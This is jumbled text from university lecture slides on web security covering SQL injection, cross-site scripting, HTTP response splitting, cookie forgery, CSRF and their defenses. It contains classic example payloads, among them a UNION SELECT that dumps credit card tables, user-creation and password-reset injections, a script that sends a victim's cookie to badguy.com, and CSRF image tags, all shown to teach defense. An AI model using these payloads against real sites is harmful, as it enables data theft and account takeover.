Dawn Song
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1 1 Web Security Dawn Song Common Vulnerabilities Input validation SQL Injection XSS: cross-site scripting HTTP response splitting Cookie management Cookie forgery CSRF: cross-site request forgery Some slides from John Mitechell and Adam Barth 4 Web Security Web: new platform for many security-critical applications e.g., banking, e-commerce Web security: complex & constantly evolving A two-sided story Web application code» Runs at web site on web server or app server» Written in PHP, ASP, JSP, Ruby,» Question: secure web site design Web browser (next lecture)» Can be attacked by any website it visits» Attacks result in: computer compromise, malware installation, etc.» Question: secure web browser SQL Injection 2 5 Secure Web Site Design Today s web is dynamic Complex web applications Runs on web server or app server Takes input from web users (via web server) Interacts with databases & 3 rd parties Prepare results for users (via web server) Examples Shopping carts, on-line banking, bill pay, tax prep, etc. Challenges New code written for every web site, often with little security considerations Many potential vulnerabilities Dynamic Web Application Browser GET / HTTP/1.0 HTTP/ OK Web server index.php Database server 3 6 6
2 7 SQL Query SQL Injection Example 1 post form Victim Server Normal SQL Query SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10 Client 3 receive result 2 Victim SQL DB Sql query Malicious Query For order_month parameter, attacker could input WHERE condition 0 OR 1=1 is always true! Gives attacker access to other users private data! WHERE userid=4123 AND order_month=0 OR 1= SQL Example View pizza order history:<br> <form method="post" action="..."> Month <select> <option name="month" value="1">jan</option>... <option name="month" value="12">dec</option> </select> Year <p> <input type=submit name=submit value=view> </form> SQL Injection Example All User Data Compromised Normal SQL Query SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month= Basic picture: SQL Injection SQL Injection Example Attacker 1 post malicious form 3 receive valuable data Victim Server 2 unintended query A more damaging example: For order_month parameter, attacker could input 0 AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards Attacker is able to get sensitive credit card info of all users Victim SQL DB
3 13 SQL Injection Example Credit Card Info Compromised It s not a joke---it s real CardSystems credit card payment processing company SQL injection attack in June 2005 put out of business The Attack 263,000 credit card #s stolen from database credit card #s stored unencrypted 43 million credit card #s exposed Many examples like this More Attacks Create new users: ; INSERT INTO USERS ( uname, passwd, salt ) VALUES ( hacker, 38a74f, 3234); Password reset: ; UPDATE USERS SET =hcker@root.org WHERE =victim@yahoo.com More Examples On June 29, 2007, Hacker Defaces Microsoft U.K. Web Page using SQL injection. On August 12, 2007, The United Nations web site was defaced using SQL injection. On January 2008, tens of thousands of PCs were infected by an automated SQL injection attack that exploited a vulnerability in Microsoft SQL Server Cross-Site Scripting (XSS) Attacks 15 18
4 19 Access Control in OS & Browser Access control in Browser Principals» Owner of web content Resources» Memory: heap of script objects» Persistent state: cookies» Display: HTML DOM» Network communication Policies? Bad input Problem: no validation of input term Consider link: (properly URL encoded) term = <script> window.open( = + document.cookie ) </script> What if user clicks on this link? 1. Browser goes to victim.com/search.php 2. Victim.com returns <HTML> Results for <script> </script> 3. Browser executes script:» Sends badguy.com cookie for victim.com 22 Same-Origin Principle (SOP) Documents or scripts loaded from one origin cannot get or set properties of documents from a different origin Origin Two pages have the same origin if the protocol, port, domain are the same for both pages Protect webpages of different origins from each other Basic picture: Reflected Cross-site scripting User Victim 4 2 visit web site receive malicious page send valuable data click on link echo user input Attacker Website Vulnerable Server Website Example User input is echoed into HTML response. Example: search field term = apple search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term]?> :... </BODY> </HTML> Is this exploitable? So what? Why would user click on such a link? Phishing in webmail client (e.g. gmail). Link in doubleclick banner ad many many ways to fool user into clicking What if badguy.com gets cookie for victim.com? Cookie can include session auth for victim.com» Or other data intended only for victim.com Violates same origin policy 21 24
5 25 Even worse Attacker can execute arbitrary scripts in browser as from victim server s web site Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on this page and linked pages. HTTP Response Splitting Can infect other users: MySpace.com worm. 28 Stored XSS Attack: MySpace.com Users can post HTML on their pages (Samy worm) MySpace.com ensures HTML contains no <script>, <body>, <a href=javascript://> but can do Javascript within CSS tags: <div style= background:url( javascript:alert(1) ) > And can hide javascript as java\nscript With careful javascript hacking: Samy s worm: infects anyone who visits an infected MySpace page and adds Samy as a friend. Samy had millions of friends within 24 hours. More info: 26 The setup User input echoed in HTTP header. Example: Language redirect page (JSP) <% response.redirect( /by_lang.jsp?lang= + request.getparameter( lang ) ) %> Browser sends lang=french Server HTTP Response: HTTP/ (redirect) Date: Location: /by_lang.jsp? lang=french Is this exploitable? 29 XSS Attack Accounts for over 80% reported security vulnerabilities High profile: google, facebook, myspace, Yahoo!, PayPal, ebay, Obama discussion forum (redirected to Hillary Clinton) Bad input Suppose browser sends: lang= french \n Content-length: 0 \r\n\r\n HTTP/ OK Spoofed page (URL encoded) 27 30
6 31 Bad input HTTP response from server looks like: HTTP/ (redirect) Date: Location: /by_lang.jsp? lang= french Content-length: 0 Common Vulnerabilities Input validation SQL Injection XSS: cross-site scripting HTTP response splitting Cookie management Cookie forgery CSRF: cross-site request forgery lang HTTP/ OK Content-length: 217 Spoofed page 34 Defense Lack of types, hidden assumption Input validation Taint tracking: figure out what variables need to be sanitized» Static taint analysis» Dynamic taint analysis: similar to perl tainting Sanitization: how to sanitize variables» SQL injection» XSS attack» HTTP Response Splitting» Challenges: Many different ways: normalization Lack of specification: need to figure out how browser/server interprets Cookie Forgery Administravia Out of town Tue & Wed Office hour on Tue canceled Pls send me to set up another time if needed Guest lecture on Wed New attacks & defenses in web security Helped design security architecture in Google Chrome Cookies Used to store state on user s machine Browser If expires=null: this session only GET HTTP Header: Set-cookie: NAME=VALUE ; Server domain = (who can read) ; expires = (when expires) ; secure = (only over SSL) Browser GET Cookie: NAME = VALUE Server Http is stateless protocol; cookies add state
7 37 Cookies Brower will store: At most 20 cookies/site, 3 KB / cookie Uses: User authentication Personalization User tracking: e.g. Doubleclick (3 rd party cookies) Defense When storing state on browser MAC data using server secret key..net 2.0: System.Web.Configuration.MachineKey» Secret web server key intended for cookie protection HttpCookie cookie = new HttpCookie(name, val); HttpCookie encodedcookie = HttpSecureCookie.Encode (cookie); HttpSecureCookie.Decode (cookie); 40 Attack Cookie authentication Example: Shopping cart software. Set-cookie: shopping-cart-total = 150 ($) Is it vulnerable? User edits cookie file (cookie poisoning): Cookie: shopping-cart-total = 15 ($) Browser Web Server Auth server POST login.cgi Username & pwd Set-cookie: auth=val Validate user auth=val Store val bargain shopping GET restricted.html Cookie: auth=val restricted.html auth=val Check val If YES, restricted.html YES/NO Examples D3.COM Pty Ltd: ShopFactory Adgrafix: Check It Out Baron Consulting Group: WebSite Tool ComCity Corporation: SalesCart Crested Butte Software: EasyCart Dansie.net: Dansie Shopping Cart Intelligent Vending Systems: Intellivend Make-a-Store: Make-a-Store OrderPage McMurtrey/Whitaker & Associates: Cart pknutsen@nethut.no: CartMan 1.04 Rich Media Technologies: JustAddCommerce 5.0 SmartCart: SmartCart Web Express: Shoptron Weak authenticators: security risk Predictable cookie authenticator Verizon Wireless - counter Valid user logs in, gets counter, can view sessions of other users. Weak authenticator generation: [Fu et al. 01] WSJ.com: cookie = {user, MAC k (user) } Weak MAC exposes K from few cookies. Apache Tomcat: generatesessionid() MD5(PRNG) but weak PRNG [GM 05]. Predictable SessionID s 42
8 43 Cross-Site Request Forgery Cross-Site Request Forgery (CSRF) 46 The Setup A typical request for Alice to transfer $100 to Bob using bank.com: GET HTTP/1.1 What if Maria wants to transfer $100,000 from Alice's account to her account? Conclusion Input validation SQL Injection XSS: cross-site scripting HTTP response splitting Cookie management Cookie forgery CSRF: cross-site request forgery Attack Maria first constructs the following URL which will transfer $100,000 from Alice's account to her account: To have Alice send the request: <a href=" View my Pictures!</a> Even better: <img src=" width="1" height="1" border="0"> 45
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